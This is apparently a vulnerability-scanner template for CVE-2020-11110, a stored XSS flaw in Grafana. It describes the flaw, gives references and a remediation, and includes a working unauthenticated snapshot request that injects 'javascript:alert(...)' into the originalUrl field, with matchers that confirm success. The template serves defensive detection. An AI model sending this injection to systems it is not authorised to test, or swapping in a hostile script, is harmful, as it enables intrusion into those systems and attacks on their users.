id: CVE-2020-11110

info:
  name: Grafana Unauthenticated Stored XSS
  author: emadshanab
  severity: medium
  description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
  reference:
    - https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
    - https://security.netapp.com/advisory/ntap-20200810-0002/
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
  tags: cve,cve2020,xss,grafana

requests:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Referer: {{BaseURL}}
        content-type: application/json
        Connection: close

        {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"deleteKey":'
          - '"deleteUrl":'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"url":"([a-z:/0-9A-Z]+)"'